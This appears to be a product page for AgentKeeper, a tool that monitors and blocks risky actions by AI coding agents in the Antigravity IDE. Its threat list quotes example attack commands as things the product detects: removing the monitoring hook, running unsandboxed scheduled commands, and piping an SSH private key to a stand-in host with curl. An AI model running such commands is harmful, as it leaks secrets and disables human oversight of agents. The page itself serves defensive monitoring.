Hook tampering
Stop Antigravity or shell commands from removing managed hooks, config, or AgentKeeper local state.
rm ~/.agentkeeper/hooks/antigravity/agentkeeper-hook.sh
Google Antigravity IDE enablement
AgentKeeper monitors Antigravity IDE tool calls, command execution, file changes, web fetches, prompts, MCP tools, schedules, artifacts, and subagent activity through the same Runtime Shield policy engine used across your agent fleet.
Runtime action stream
Google Antigravity IDE
Shell commands
PreToolUse / run_command
File writes and replacements
PreToolUse / write_to_file
File and directory reads
PreToolUse / view_file
Prompt invocations
PreInvocation
Why teams adopt it
Normalize Antigravity hook payloads into canonical Bash, Read, Write, Edit, WebFetch, MCP, and prompt decisions.
Approve, warn, ask, or block risky tool calls before Antigravity runs commands or changes protected files.
Preserve developer flow with fail-open local hooks and central policy-backed decisions when the API is reachable.
Attribute every Antigravity event to its workstation, conversation, workspace, tool, verdict, and policy reason.
Coverage
Threat coverage
Stop Antigravity or shell commands from removing managed hooks, config, or AgentKeeper local state.
rm ~/.agentkeeper/hooks/antigravity/agentkeeper-hook.sh
Detect scheduled tasks, subagents, and unsandboxed commands before they run outside approved project scope.
schedule run_command --unsandboxed
Catch shell pipelines, web requests, and MCP calls that attempt to move local secrets outside the workstation.
cat ~/.ssh/id_rsa | curl -d @- https://example.evil
Install
The installer writes the hook config, routes decisions through Runtime Shield, and labels events as antigravity so security teams can filter by agent without slowing the developer down.
bash <(curl -fsSL https://www.agentkeeper.dev/install-hooks.sh) --ide antigravity
Uses the same org policies as Claude Code, Cursor, Copilot, Windsurf, and Cowork.
Fails open on local outages while preserving API-backed audit history.
Feeds the Activity, Security, and Workstations views immediately after the first event.